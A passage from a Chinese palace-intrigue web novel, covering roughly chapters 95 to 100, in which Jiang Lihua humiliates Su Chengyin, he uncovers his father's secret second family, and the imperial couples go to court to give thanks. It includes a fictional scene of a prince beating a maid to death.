姜黎婳整个人一僵,她伸手推着楚御礼,“殿下要怎么感谢?”
“伺候好娘子行不行?”
姜黎婳:“......”
这算哪门子感谢?这明明是占便宜!
“大皇子妃...”
姜黎婳还没来得及拒绝,铃铛就闯了进来。
姜黎婳慌忙推开楚御礼,有些尴尬站直身子,问铃铛,“怎么了?”
“外面有一个说自己叫苏承印的人想见您。”
姜黎婳脸色一沉,眼神变得冰冷,“又来问罪了?”
第95章 愚蠢至极
楚御礼听到打断自己好事的人竟然是苏家人,他眼底闪过一丝厌恶,声音也从先前的喑哑变得冰冷,“昭临,去把人撵走。”
姜黎婳拉住楚御礼的手,“我去见见他,既然他自己要找骂,我不介意让他们更难受一点。”
姜黎婳说罢也不等他同意,带着铃铛就出去了。
看着把自己丢下快步离开的娘子,楚御礼脸色几乎阴沉得快要滴水了,他已经好些日子没有和娘子亲密了,今天好不容易找到时机,竟然被苏承印那个不要脸的苏家人给破坏了!
气死人了!
铃铛出去带苏建明进府,姜黎婳已经在前厅等着了,瞧苏承印黑着脸走进来,姜黎婳暗暗翻了一个白眼,一个个听到苏清欢遇事,被苏清欢说两句就上来她这里找她算账,根本不会用脑子思考问题,难怪会被苏清欢和苏建明骗得团团转。
一家人几兄妹都遗传了吕氏的愚蠢。
对,她连原主一起骂,原主更甚,愚蠢、愚孝过于善良!
这一次是因为她穿书了,苏家才会变成这种光景,她可以肯定,如果是原主重生的话,怕也是改变不了什么的!
“姜黎...”
啪...
姜黎婳一巴掌拍在暗红色楠木桌上,厉声道:“大胆刁民,见了本王妃还不行礼!”
苏承印一怔,正要说话,昭临不知道从什么地方冒了出来直接站在他身后,他面无表情的看着苏承印,语气冰冷,“苏少爷需要我帮忙吗?”
苏承印此时此刻感受到了强烈的屈辱,他恶狠狠地瞪了姜黎婳一眼,抬手躬身,给姜黎婳拘礼。
姜黎婳瞧着他那心不甘情不愿的模样,冷笑,“苏少爷今日登门王府又是怎么回事?”
“是你害了清欢?”苏承印抬眸看着姜黎婳,语气笃定的说道,“你在报复她。”
姜黎婳轻笑,“报复,她配吗?”
“是你要和苏家断绝关系的!”苏承印双目通红,说话的时候还带着他自己都不曾察觉的痛心疾首,“你回来的时候明明不是这样的!姜黎婳你什么时候变得这么冷血了?是你要和母亲断绝关系,现在却又因为母亲选择了清欢,你要报复清欢!你怎么这么坏!”
听着苏承印这些话,姜黎婳并未生气,她悠然地靠在椅子上,一只手搭在扶手上,垂眸轻轻拨弄着自己那饱满红润的指甲,片刻之后她朱唇轻启,吐出两个字,“愚蠢。”
“你说什么?”
姜黎婳抬眸冷冷地看着他,语气冰冷,“我说你愚蠢!有你们母子三人这种愚蠢至极的人在家中,难怪苏建明敢那么大胆行事,外室养在京城,外室子还敢放在国子监与你当同窗呢。”
苏承印耳朵嗡的一声,脑海中闪过之前赵旭庭给他说的话,还有他自己看到的那些画面。
他不可置信地看着姜黎婳,眉头更是紧紧地皱起,“你说什么?”
看着苏承印的反应,姜黎婳眼神有点轻蔑,还自诩孝顺的亲儿子呢,在看到和听到苏建明所做的事情之后,还不是装聋作哑,自我安慰然后粉饰太平。
不过他越想装作什么都没发生,她就越要撕烂苏家的这块遮羞布!
“吕夫人有你这么一个替苏建明掩盖在外另有家室的好儿子,她应该很欣慰吧?”姜黎婳轻笑,“不过吕夫人不知道也好,若她知道苏建明在和她成亲之前就已经在老家成亲生子了,人应该会疯掉的吧?”
姜黎婳说到这里站了起来,她走到苏承印面前,勾起嘴角,语气冷漠,“还好本王妃不是你们苏家人,你们苏家当初也是认错人了,否则本王妃就是真正的丢人了。”
“你胡说!”苏承印面红耳赤地瞪着姜黎婳,“你休想破坏我们家的和谐!”
“哈哈哈,和谐?”姜黎婳冷笑,“苏承印你还要自欺欺人到什么时候?吕氏养了你这么一个好儿子一定会很欣慰吧,为了狗屁的和谐,竟然把她当傻子一样欺骗。”
姜黎婳说到这里眼里忽然闪过一丝狡黠的光芒,“听说你的好妹妹在宫中受了杖刑,你不去关心你的好妹妹,你在本王妃这里找什么存在感啊?单纯过来找骂的吗?”
“姜黎婳你最好别乱说!若让我知道你...”
“滚吧,蠢货!以后少来本王妃面前碍眼,否则见你一次打你一次。”姜黎婳冷冷地睨了苏承印一眼,大步离开前厅。
苏承印回头看向姜黎婳,他张嘴还要说话就见昭临一脸冰冷的站过来挡住了他的视线,“苏少爷,请吧。”
“她是怎么知道那个外室...”苏承印说出这句话忽然觉得不对,他怎么被姜黎婳牵着走,觉得父亲真的在外面养了外室了?
想到自己先前被姜黎婳的那些话影响,苏承印脸色更黑了,他狠狠地甩了一下袖子,大步朝外面走去。
二皇子府。
鲁卿秋与楚明暄回府就接到了被封束郡王的圣旨,那圣旨内容无一不在警告他以后低调行事,恪守本分!
楚明暄直接气得一脚踹翻敢把自己的好东西拿出来给苏清欢的喜儿,“贱婢!你竟然敢背叛本王,本王杀了你!”
鲁卿秋冷眼看着被踹了好几脚的喜儿,直到喜儿被楚明暄踹得躺在地上无法动弹了,嘴角也吐血了,她才抬起眼皮站起来劝说楚明暄,“王爷,如今事情已经发生了,你把她踹死也于事无补,反倒会留下一个暴戾的名声,若传到父皇耳中,父皇又要生气了。”
她这不劝说倒还好,这么一说,楚明暄更是震怒,他这次直接踹喜儿的头,“贱婢!本王当初就是见你好看又懂事,才让你在身边伺候的,你不感恩,还敢恩将仇报!你背叛本王!你该死!该死!”
鲁卿秋看着被楚明暄踹得头破血流的喜儿,眼底没有一丝波澜,这就是楚明暄的本性。
喜儿身为二皇子府的婢女,叛主本是死罪,若楚明暄给这喜儿一个痛快直接一杯毒酒杀死,或者杖刑打死,都是这喜儿死得其所。
偏偏这楚明暄经不起挑拨,非要自己动手把人给踹死,给自己留下残忍嗜杀的污名,真是愚蠢至极。
鲁卿秋对着站在角落的嬷嬷使了个眼色,嬷嬷默默地退了出去,鲁卿秋这才伸手拉住楚明暄,“人已经死了,”
楚明暄这才停下动作看了一眼面目全非的婢女,接着又嫌弃地看着自己被染红的鞋子和一脚,他嫌弃的皱眉,“备水,本王要沐浴更衣!”
说罢他朝地上吐了口唾沫,说了声,“晦气。”
大步离开前厅。
鲁卿秋看着楚明暄的背影,又垂眸看了一眼满头是血的尸体,她闭了闭眼睛,沉声喊人,“把尸体抬着,从后门出去,丢乱葬岗吧。”
第96章 皇后的报复之路刚刚开始
夜幕降临,皇宫在月色中依旧巍峨。
皇后在佩蓉的伺候下歇下朱钗,刚要躺下,就听外面传来脚步声,她眉头微蹙,让佩蓉出去瞧瞧,又让贴身宫女绿盈给自己更衣。
她刚穿好衣裳走进内殿,淑妃就扑了过来,“皇后娘娘,您帮帮臣妾吧!”
皇后皱眉看着跪在地上抱着自己小腿的淑妃,她眼底闪过一丝不易察觉的不耐,“怎么了?陛下不是没有怪罪你吗?”
“陛下是未怪罪臣妾,可是却怪蓝氏一族啊。”淑妃泣不成声,“玲儿病了,但是陛下下了口谕,不准太医院的人去给玲儿医治,这京城的普通大夫怎么可能治得好玲儿的病啊?”
皇后闻言心底冷笑,这口谕本就是她让皇上下的,怎么可能再帮蓝家求情?
她暂时动不了蓝雨柔,难道还不能恶心一下蓝家了?蓝家这些年因为淑妃与她关系不错的缘故,在京城混得风生水起,如今也该让他们感受一下挫折了。
至于其他的,她会和蓝雨柔慢慢算账的。
“蓝小姐如今那样子只是情绪不稳,你也不要太着急了。”皇后弯腰把淑妃扶了起来,柔声安抚,“今日这蓝小姐不管怎么说也是和那苏氏是同谋,是害二皇子丢脸的元凶,陛下没有明着惩戒蓝小姐,就已经是看在你的面子上了,若还因为这种小事闹到皇上面前,皇上才真的要生气了。”
“可...我们就不管玲儿了吗?”淑妃双目通红地看着皇后,眼神忐忑,“她会不会一直这样好不了了?”
说着又开始哭,“臣妾就是这么一个侄女儿啊。”
“淑妃。”皇后拉着淑妃的手轻轻拍了拍,语重心长地说道:“亲侄女只有一个,表侄女应该不少吧?我知道你一直看重蓝小姐,但蓝小姐已经这样了,难道你还想让澜儿娶她不成?别忘了澜儿才是你唯一的儿子。”
淑妃怔了怔,她抬眸看着皇后。
皇后叹气,“御儿如今是过一天是一天,本宫整日提心吊胆,生怕他有个意外。二皇子也是个不堪重用的,咱们楚国的未来还得看澜儿和泽儿,他们兄弟两人的前途可不能毁在了一个女人身上。”
淑妃忽然不哭了,她咬了咬嘴唇,对皇后道,“大皇子吉人天相,自然会平安无事的。娘娘您说的是,陛下已经够烦心了,臣妾不能再因为娘家侄女的事情让陛下烦忧,是臣妾考虑不周了。”
“想清楚就好。”皇后拿着手帕给淑妃擦干眼泪,低声道:“回去好好歇息,等这阵子过去,若蓝小姐还是没有好转,你就让澜儿去求求陛下,也好彰显一下澜儿对兄妹之间的仁义。”
淑妃应了一声,“是臣妾不懂事,打扰姐姐休息了,臣妾告退。”
皇后轻轻地点了点头,“你也回去休息吧,如今慧妃被降了位份,定然心情不好,这几日你也避着点她,不要...”
“她如今也不过是普通的妃子罢了,臣妾凭什么让着她!”淑妃咬了咬嘴唇,“她儿子本来就不是什么好人!”
“说什么糊涂话!”皇后厉声低喝,“她的儿子即便再不好,也是陛下的龙种!若让陛下听到你这话,你有什么好下场!”
皇后恨铁不成钢地使劲戳了淑妃的眉心一下,“你就是个口无遮拦的性子,以后这种话不准再提了!”
“臣妾就是在姐姐您面前才敢这么说的。”淑妃拉着皇后的手,“我知道姐姐不会怪罪我的。”
“本宫真是欠你的。”皇后嗔了她一眼,“本宫困了,快回去睡。”
“臣妾想...”
“快走,本宫今儿个也累了,可没时间再安慰你了。”皇后说罢不再理会她,转身往内殿走去。
皇后转身的瞬间,脸上的表情全部收敛起来,听到淑妃离开的声音,她停下脚步闭上眼睛使劲呼吸了两下,然后把手中的帕子丢在地上,冷声吩咐,“烧了。”
抬步往内殿走去,“备水,本宫要沐浴!”
佩蓉亲自去伺候皇后沐浴,仔细的皇后清洗了双手,她不解地问皇后,“娘娘为何还要提点淑妃?”
皇后眉眼微抬,轻笑,“提点?她也配?”
“今日那婚宴楚巍澜又不是没去,发生这么大的事情他自然是知道,但是婚宴之后他就消失了,你说过几日后他再出现,陛下会怎么看他?”
佩蓉很快反映了过来,她低声道,“陛下曾被亲兄弟背叛过,最看不惯儿子虚情假意了。”
皇后笑着站起身,从浴桶中走出来,眉眼中尽是寒意,“是啊,他最讨厌虚情假意了。”
.......
苏承印虽然心头认为姜黎婳在离间他们苏家人的关系,不过从大皇子府出来之后还是怒气冲冲地冲回家想要找苏建明质问,但说出门巡视工部事务的苏建明到深夜都没回来。
苏承印心慌了。
他觉得苏建明可能不是去巡查工部的事务了,很可能去那个外室家中了!
他在床上辗转反侧地思索着姜黎婳说的那些话,完全把苏清欢抛之脑后了。
翌日一早,苏承印顶着两个黑眼圈出现在吕氏院中,“母亲,父亲在吗?”
吕氏瞧着一脸疲惫的儿子,心疼地上前,“这些日子课业太重了吗?怎么这么憔悴?”
苏承印摇头,“课业不重,儿子能应付,父亲不在吗?儿子找他有事。”
“他这些日子应该有些忙,时常在外巡视,很少回家的。”吕氏轻声道,“我让人准备点药膳,你吃点再...”
吕氏话还没有说完,苏承印人就已经转身大步离开了。
看着心不在焉的儿子,吕氏追着喊了两声,“承儿...”
苏承印头也不回地大步离开,吕氏看着儿子的模样,神色暗淡,回头问跟在身边的刘嬷嬷,“嬷嬷,你说承儿这是不是还在怨我没能把他外祖父的砚台要过来...”
“夫人,你别多心了。”刘嬷嬷想到因为一方砚台夫人已经和亲生女儿彻底断绝了关系,如今二小姐...应该说是御王妃和苏家已经完全没有了关系,若再因为一些小事惹怒御王妃的话,苏家怕是彻底要遭皇室厌恶了。
吕氏知道刘嬷嬷的担忧,她也不再提这事儿,转而问起了苏清欢,“定国公府派人来让我们去接人了吗?”
“夫人,大小姐做出那种事情,若接回来的话,怕是会影响两个少爷今后的婚事。”刘嬷嬷抿了抿嘴,低声道:“虽然这么说您可能会不高兴,但大小姐毕竟不是您肚子里面出来的,您没必要为了她,耽误了两位公子。”
吕氏闻言眉头皱了皱,片刻之后她颔首,“我知道,若是定国公府让人去接她,就把她接到庄子上去吧。”
第97章 苏承印得知苏清欢是外室女
苏承印从苏府出来之后一时之间不知道去哪儿找人,他虽然听说那苏子恒家住城南,但是却从未与那苏子恒亲近,也不曾打听过苏子恒家在城南什么地方,城南那么大,他不可能一家一家的去找。
但是他又想确定姜黎婳说的话是不是真的。
他浑浑噩噩地在街上走了半晌,忽然抬步就朝国子监跑去。
他冲进国子监就去宿舍里面找苏子恒,但是却没有找到苏子恒的人,苏子恒的舍友说苏子恒昨日回家了。
苏承印落魄地从苏子恒的宿舍里面走出来,脑子全是昨天他爹没回家,而苏子恒昨日回家了!
想到自己和苏子恒可能是亲兄弟,苏承印就觉得心头一直憋着一口气,喘不出来,心头难受。
他抬步下意识地想去找好友倾诉,等走到好友宿舍门外,才想起好友已经与他割袍断义了。
他收回要敲门的手,转身欲走,此时房门被人从里面拉开,学子看到他,笑着朝里面喊了一声,“赵兄,苏兄来找你了。”
苏承印尴尬地对那个学子点了点头,一时之间走也不是进去也不是,只能驻足在原地,看赵旭庭是否愿意出来见他。
赵旭庭出来了,看到苏承印的模样,他心头没有半分波动,只淡淡的问,“有事?”
“昨天的事情我...”
赵旭庭的脸立刻冷下来道,“若你来是和我说大皇子妃坏话的,那你就不必说了,我去早读...”
“不是!”苏承印赶紧抬步跟上去,“我不是说她坏话的,我只是想说昨天的事情我听说了,我知道不是她的错。”
赵旭庭脚步慢下来,他回头静静地看着苏承印,语气微缓,“你真心的?”
苏承印不知道这赵旭庭为什么那么相信姜黎婳,明明他和姜黎婳又不认识!
他点头,“我还有一事想问赵兄...想问你。”
赵旭庭看着他并未说话,但也没有离开。
苏承印赶紧把自己过来找他的目的说了。
“你现在想起来找他了?”赵旭庭看着苏承印那忐忑的模样,有些可悲的摇头,接着他问苏承印,“你觉得你真的能接受之中落差吗?好好地在家中当你的少爷不好吗?你若是知道了你爹对你们和对那外室子的差别,我想你应该接受不了。”
“这么说你是知道了?”苏承印故作平静地看着赵旭庭,“我已经做好心理准备了。”
赵旭庭眉头微蹙,姜黎婳是告诉过他那个外室的家在何处,但是就这样告诉苏承印,以苏承印的性格,过去如果真的看到他爹和那外室一家和乐融融,怕是会直接和人打起来吧?
但是他们打起来,和他又有什么关系?苏承印就应该看清楚苏家人的虚伪,才知道他们错过了多好的人。
“城南梧桐巷第六户人家就是那外室的家。”赵旭庭说到这里拍了拍苏承印的肩膀,叹气,“我觉得你还是别去找虐了,毕竟你爹那个对你们一毛不拔的男人愿意花六万两给苏子恒买一方砚台,这就足以说明,这外室母子对他们来说有多么重要。”
苏承印已经听不进去赵旭庭说的话了,他问赵旭庭,“你怎么知道这是我爹的外室家,说不定这只是...”
赵旭庭抬手打断苏承印的话,“得!你也别说了!算我之前多管闲事了,今后你有什么事情别来找我了,我真是犯贱才帮你打听这些。”
他说完拂袖走人,嘴里还骂了句,“真是狗咬吕洞宾。”
苏承印看着赵旭庭的背影,他皱着眉头闭上眼睛,接着大步离开国子监。
不知道过了多久,苏承印浑浑噩噩的站在邹如意的院子外面,意识到自己在做什么,他懊恼地拍一下自己的脑袋,他还真的因为姜黎婳那些没有证据的话就跑来了,真是...
他转身要走,却听到里面传来的说话声,他停下了脚步。
院子里面邹如意的声音温柔如水,“老爷,您今日回去一定要让那个女人去看看清欢,妾身想去看清欢,却怕再给清欢惹上麻烦。”
苏子恒的声音也随之传来,“爹你一定要给清欢报仇!我听说清欢不仅被害丢了清白,还被打了板子!这些都怪那个贱人!你一定要弄死那个贱人!”
“够了!”苏建明震怒的声音也从院中响起,他怒声道,“那个贱婢如今就跟换了一个人一样,根本不像刚回府那样对我们言听计从没有怨言,如今她身后有大皇子撑腰,又逼着我只能认一个女儿,在所有人面前承认了自己当初找错了人,就连我见了她都要行礼问安,你要我如何弄死她!”
“老爷。”邹如意温柔的声音又道,“你别和恒儿一般见识,恒儿也只是太担心他妹妹了,他们兄妹两人从小感情就好,如今清欢被打了板子,那国公府又不愿意表态,他见不到妹妹,担心了一些也是应该的,您别生气。”
苏建明的语气这才缓和了,“我知道你们担心清欢,清欢是我与你的亲生女儿,我自然也是担心的,你放心,我回去会让吕氏去国公府看望清欢的。”
“我就知道老爷最看重我们母子三人的。”邹如意的声音又娇又柔,“老爷你好不容易休沐一日,不如就晚些再走,陪我们母子在家中用顿饭?”
“昨夜不是还陪了你一夜,我得回去了,不然吕氏又得问我去哪儿了。”苏建明说到这里语气中还带这些不耐烦,“吕氏最爱追根究底了。”
苏承印不知道自己是怎么离开那条巷子的,他坐在马车中回想起自己听来的那些话,只觉得自己的头要炸了。
苏清欢竟然也是那个外室和父亲的女儿!
难怪,在那件事情闹出来之后,父亲的态度很奇怪,还一直在他们兄弟面前敲打说清欢养在他们身边这么多年,即便是他们的亲妹妹回来了也不能厚此薄彼,要待清欢好。
而因为这些话,他几乎是下意识地害怕自己对自己的妹妹好,而忽略了清欢,所以处处时时告诫自己,对姜黎婳也从未有过好脸色...
一阵恶心传来,苏承印推开车窗干吐了好几声,吐了几口酸水,他才无力地放下车窗靠在侧板上。
想到这些日子以来,自己对姜黎婳做的那些事情和说的那些话...
苏承印只觉得更恶心了,但是他现在是恶心自己。
他又推开车窗吐了起来。
车夫听到声音,眉头微蹙,他先开车帘看了一眼里面的苏承印,“公子,您把咱这车给弄脏了,一会儿得加洗车的银子的。”
苏承印抬手打断车夫的话,又继续吐。
回到苏府,苏承印刚把银子付完,回头就看到吕氏从苏府中走出来,看着她身后嬷嬷婢女们大包小包的东西,他皱起眉头问,“母亲要去哪儿?”
第98章 苏承印告诉吕氏真相
吕氏瞧苏承印又回来了,她眼中闪过一丝诧异,看到苏承印面色苍白,她担忧地上前拉着苏承印的手,“脸色怎么这么差,手也冰冷,是不是着凉了?”
她说着回头吩咐刘嬷嬷,“赶紧带大少爷回去,让府医给大少爷瞧瞧。”
这么热的天气,他却浑身都冰凉的,定然是感染风寒了。
苏承印知道自己为什么脸色这么差手还这么冰凉,他轻轻摇头,继续问吕氏,“母亲这是要去哪儿?”
“我得去看看你妹妹。”吕氏说起苏清欢,眼神中的担忧更明显了,“她从小被我们娇养长大,昨天却受了那么大的委屈,还被打了板子,昨天萧家也说了要休妻,但到现在还没有动静,我实在是放心不下。她虽然是给我们丢脸了,但毕竟是我养大的女儿。”
吕氏说到这里拍了拍苏承印的手,笑着安抚苏承印,“你放心,母亲就算是不要这脸皮,也会护着你妹妹不让她受委屈的,你身子不舒服先回去休息。”
听到吕氏对苏清欢还这么关心,而先前那几人的对话,明显就是在说苏清欢从小就知道自己的真实身世的。
苏承印又觉得心头一震恶心,他拂开吕氏的手转身弯腰狂吐。
吕氏瞧着他这样子,更担心了,她也顾不得先去看苏清欢了,两步上前给苏承印拍背,语气担忧地问,“怎么还吐了?是不是吃坏肚子了?赶紧回家,先让府医给你看看。”
苏承印对吕氏摆了摆手,不知道是因为吐过还是因为情绪激动,他此时双眼通红,他看着吕氏,想到这些年吕氏为苏家做的一切,他忽然羞愧难当。
“娘。”苏承印低着头喊了一声。
吕氏给苏承印拍背的手僵在半空,她怔怔地看着已经十几年未曾喊过自己娘的儿子,眼眶逐渐变红,她把手轻轻地放在苏承印的背上,轻声问,“是不是受了委屈了?”
“娘,我有话要给你说。”苏承印站直身子,抬手扶着吕氏往回走,“你别去国公府了,我先和你说事。”
吕氏看了刘嬷嬷一眼,“你们先回去等着,我与大少爷说完事再去看清欢。”
刘嬷嬷应了一声,带着其他婢女回去,吕氏则跟着苏承印去了他的院子。
进了自己的院子,苏承印就把院中伺候的所有人全都赶出了院子,然后关上院门,带着吕氏进了正屋。
吕氏瞧着苏承印这大费周章的模样,轻笑着问,“你是要和母亲说你的秘密吗?竟然还把下人都赶出去了,有心上人了?”说着还打趣道,“有心上人不是什么丢人的事情,可以让人知道的。”
苏承印没有回答吕氏的那些话,直接对吕氏开门见山道,“娘,爹有外室。”
吕氏的笑容僵在脸上,她怔怔地看着苏承印,半晌之后才轻声骂道:“你这孩子出去一趟回来再说什么胡话?这大晌午的,别说梦话了,若让你爹知道你怀疑他养外室,你少不得被一顿收拾。”
“苏清欢就是他和那个外室生的女儿,他们还有一个比我大的儿子叫苏子恒,如今与我一同在国子监念书。”苏承印闭着眼睛一口气把所有的事情全盘托出。
“娘!”苏承印睁开眼睛就看到吕氏闭眼晕了过去,他伸手捞住要倒地的吕氏,抱着吕氏在软榻上坐下,他这才后悔自己先前冲动了,看着悠悠转醒的吕氏,他愧疚地低声问,“娘,你没事吧?”
“你先前说的都是真的?”吕氏缓缓出声问。
苏承印点头,今天知道那个真相之后,他忽然想通了很多事情,以前的苏建明不怎么关心他们兄弟之间的事情,最疼爱的孩子也是小女儿,之前却一反常态的对他的拜师礼,那方砚台那么上心。
现在看来,他对那砚台上心,也不过是为了他的大儿子。
“娘,那苏子恒比我大两岁。”
吕氏的手猛地捏紧苏承印的手臂,她面目狰狞,“你说什么?”
......
姜黎婳一早起来就被佩玉拉去梳妆,用了早膳就和楚御礼一同进宫谢恩,在宫门外遇到了一样是入宫谢恩的楚明暄和鲁卿秋。
鲁卿秋今日看到姜黎婳一改之前的亲近,只是疏离地对他们夫妇见礼,然后对姜黎婳点了点头。
楚明暄意味不明地看了姜黎婳一眼,然后看向楚御礼,“真是恭喜大皇兄了,御亲王!”
楚御礼难得没有和楚明暄计较,他搂着姜黎婳的腰肢,似笑非笑地睨了楚明暄一眼,“托你的福,以后多做点这种蠢事,让为兄多捡点便宜。”
楚明暄的脸色立刻变得扭曲,他开口作势要骂,却被身边的鲁卿秋拽着手臂扯了一下。
他侧首瞪鲁卿秋的间隙,楚御礼已经冷笑一声,搂着姜黎婳先一步进宫了。
楚明暄怒瞪鲁卿秋,“你拦着本王做什么?你别以为你是本王的王妃就可以管着本王了!”
鲁卿秋抬眸看着楚明暄,语气无奈,“这四处都是人,御林军,锦衣卫,谁不是父皇的亲信,殿下您昨日才被父皇惩罚,难道今天又要因为对兄长不敬,被父皇训斥吗?”
楚明暄深深地看着鲁卿秋,半晌之后嫌弃地撇嘴,“你就算再怎么喜欢本王,本王也不会多看你一眼的!”
鲁卿秋抬步直接进宫,为他着想?若不是不想从这蠢货嘴里面听到他骂大皇子夫妇的话,她才懒得理这个蠢货会不会被训斥。
姜黎婳这边跟着楚御礼去了御书房,皇帝看着相携而来给自己谢恩的夫妇二人,笑着点头,又对楚御礼道,“如今你也是亲王了,不可再同以前一样无所事事了,也是时候理一些朝事了。”
“父皇,儿臣如今还没有二十岁。”楚御礼抬头看着皇帝,眼里除了孺慕之意还有一丝忐忑,“儿臣觉得,还是过了二十岁...”
他垂下眼眸,“儿臣害怕有了希望又失望。”
“莫要胡说。”皇帝眉头紧促,“朕相信你会平安无事,今后你就着手处理朝事,好好历练。”
说着害怕楚御礼再拒绝,对姜黎婳道,“老大媳妇,你劝劝他。”
姜黎婳轻声应是,然后偏头看着楚御礼,扬眉轻笑,“殿下,您就听父皇的吧。”
“儿臣定不负父皇重望。”楚御礼抬头看着皇帝,眼神坚定,“儿臣一定不会辜负父皇和母后还有婳儿,会好好活下去。”
皇帝闻言笑着点头,“这才是朕的好儿子!钦天监那边很快会选好良辰吉日举办你的封王大典,你回去也让府上做好准备,等封王之后你就正式入朝行事。”
说着,他摆了摆手,“去见你母后吧,你母后若知道你有这决心,定会更开心的。”
第99章 进宫谢恩
楚明暄夫妇也在楚御礼夫妇二人从御书房出来之后进去谢恩了,皇帝沉着脸训诫了楚明暄一番,又警告楚明暄低调行事,然后看向下面一直端站在楚明暄身旁的鲁卿秋,“经历昨天的事情,朕知道你是一个懂事识大体的。”
鲁卿秋闻言垂头屈膝,“父皇谬赞,儿臣还有很多事情需要学习。”
“嗯,也是一个谦恭的,不错。”皇帝点头,看鲁卿秋也多了一丝赞赏之意,他面色好看了几分,“今后你就把他给朕管好了,若是他敢为难你,你就告诉朕,朕来教训他。”
鲁卿秋低声应是,“父皇放心,儿臣定然好好规劝殿下的。”
皇帝摆了摆手,“去给你母后敬茶吧。”
楚明暄虽然是冯茹英和皇帝的儿子,但却要喊皇后一声母后,成亲之后夫妇二人敬茶自然要先给皇后敬茶,然后再去他生母那里给他生母敬茶,不过听皇帝这意思,是不打算喝他们敬的茶了?
楚明暄以前还不怕皇帝,但自从那件事情爆出来,他被皇帝禁足之后,他就不敢再恃宠而骄了,他心不甘情不愿地拱手应了声是,转身大步离开。
凤仪宫中。
各宫嫔妃还未曾离开,等楚御礼夫妇二人进来,一些与皇后关系不错的嫔妃纷纷给夫妇二人道贺。
楚御礼牵着姜黎婳的手被围在人群中间,听姜黎婳一一道谢,他微沉的脸色也逐渐好转。
他不喜欢麻烦,但是却喜欢看她为他的事情费心的模样。
他偏头看着与嫔妃们说话也不卑不亢从容有度的人,面上带起了笑意。
皇后坐在高位上看着这一幕脸上露出欣慰的笑容,又等了片刻,皇后笑着道:“行了,都别站着说话了,给御王夫妇赐座。”
说罢目光柔和地看向姜黎婳,“一会儿束郡王夫妇要过来敬茶,你们夫妇先坐一会儿。”
坐在皇后左下方第二个位子的慧妃闻言沉着脸站起来,“臣妾身子有些不适,先告退了。”
皇后摆手,“不舒服回去就宣太医瞧瞧,本宫一会儿会告诉束郡王夫妇先别去打扰你,你好生休息。”
慧妃的脚步猛地顿住,她不可置信地回头看向皇后,那盛气凌人的妆容此时看上去有些扭曲,“你...”
皇后面无表情地睨了慧妃一眼,“你不是不舒服?还不走?”
慧妃以前哪儿受过这种委屈,以前的她,儿子成亲,她想要儿子来给她敬茶,不去给皇后这个贱人敬茶,只需要在皇上面前撒个娇,皇上就会同意,可是昨夜,皇上歇在了凤仪宫,根本不愿意见她!
慧妃咬了咬牙,狠狠地挥了一下自己宽大的袖子,转身大步离开。
其他与慧妃一党的嫔妃见状纷纷起身告退,跟着慧妃跑了出去。
这时候一直坐在贤妃身边没说话的淑妃站了起来,她揉了揉太阳穴,有些疲惫地对皇后福了福身子,“姐姐,臣妾身子有些不适,先回去了。”
“你别胡思乱想,好好休息,记住本宫昨夜与你说的话。”皇后与淑妃说话的语气要缓和了许多,她看着淑妃疲惫的模样,叹了口气,“不舒服的话,记得传太医瞧瞧。”
淑妃嘴角扯出一个僵硬的弧度,“好。”
贤妃也站起来告退,贤妃离开,其他嫔妃也纷纷离开了,随着她们离开,楚明暄夫妇相携走了进来。
看到楚御礼夫妇坐在殿中红木椅上,楚明暄原本就不好看的脸色更差了,他大步走上前给皇后拱手行礼,“见过母后。”
皇后对楚明暄也没什么好脸色,她淡淡的嗯了一声,“起来吧。”
楚明暄站起身子,皇后又问,“去见过你父皇了?”
楚明暄耐着性子应是,皇后点头,“如今你也是有家室的人了,你父皇给你赐封号束,你也知道是为什么,以后你定要记住你父皇对你的训诫和期望,莫要再给皇室丢脸了。”
楚明暄黑着脸应了声是,站在那里不说话了。
皇后原本不想和楚明暄多说的,但是存了恶心楚明暄的心思,才会把这些话说出来,此时看到楚明暄脸色阴沉得快要滴出水了,她心情大好的看向垂眸站在楚明暄身边的鲁卿秋。
鲁卿秋感受到皇后的目光,恭敬地给皇后行礼,“儿臣参见母后。”
皇后语气平静地让她起身,“昨日的事情你受委屈了,也处理得很好,看来本宫和陛下是没有选错,你是一个识大体的主母,以后有你看着束郡王,本宫和皇上都放心些。”
“这些都是儿臣应该做的。”
皇后听着鲁卿秋这话,嘴角勾了勾,她回眸看了佩蓉一眼,佩蓉转身从进了内殿,没一会儿端着一盘金头面出来走到鲁卿秋面前。
皇后笑着道,“这些是本宫给你准备的见面礼,你收着。”
鲁卿秋低声应是,双手接过托盘,皇后满意地点头,“没什么事儿你们就退下吧。”
说罢又看向楚明暄,“你母妃身子不适,你们去瞧瞧吧。”
刚刚皇后虽然说了不让他们过去打扰慧妃,但却不会真的阻拦他们夫妇去给慧妃请安。
她才不给慧妃抓自己把柄的机会。
等楚明暄夫妇离开了,皇后才屏退宫人笑着朝姜黎婳招手,“快过来。”
姜黎婳起身子走到皇后面前,皇后拉着姜黎婳的手笑着拍了拍,“婳儿啊,你可真是本宫和御儿的福星呢。”
被人夸总是开心的,特别是被夸福星,姜黎婳的心情更好,她笑了笑,“母后您说笑了。”
“昨儿个怎么回事,说说?”皇后宠溺地捏了捏姜黎婳的手,拉着姜黎婳在自己身旁的椅子上坐下。
姜黎婳为难了,她昨天的算计算是让皇室丢脸了,不知道让皇后知道的话,会不会骂自己一顿?
似乎看出了姜黎婳的担忧,皇后笑着嗔了她一眼,“你让楚明暄丢脸,本宫高兴还来不及,难道还会怪你不成?”
姜黎婳不再犹豫,把自己昨天遇到的事情都给说了一遍。
皇后听到苏清欢她们做的事情,脸色沉了下去,“放肆!看来昨天对她们的惩罚还是太轻了!”
那个婢女她听说已经被楚明暄踹死了,今日楚明暄暴戾残忍的名声也会传出来,但是她没想到那苏清欢和蓝雪玲竟然敢给她的儿媳妇下药,而且还牵扯了吕静雅。
第100章 吕氏上门认错
孟雪莲是承恩公府的小姐,是孟太后和镇国侯夫人的亲侄女,与皇后是表姐妹,两人关系从小就很好,皇后更是把吕静雅当亲女儿看待。
此时听到吕静雅也被算计了,甚至还中了媚药,皇后脸色立刻变得难看,她眯了眯眼,沉声道,“看来昨天对她们两人的惩罚还是轻了。”
昨天不该就那么放过蓝雪玲的。
“事情已经过去了,静雅也已经平安无事了。”姜黎婳低声道,“母后不要生气了。”
皇后沉着脸点头,继续这个话题实在是让人心情不好,她看向楚御礼,“你父皇先前在御书房与你说了什么?”
楚御礼耐心回答。
转了话题,皇后的心情明显好了许多。
夫妇二人在凤仪宫中待了半个时辰,出来的时候,又有两个宫女端着不少上赏赐跟在姜黎婳身后一同出宫。
苏府。
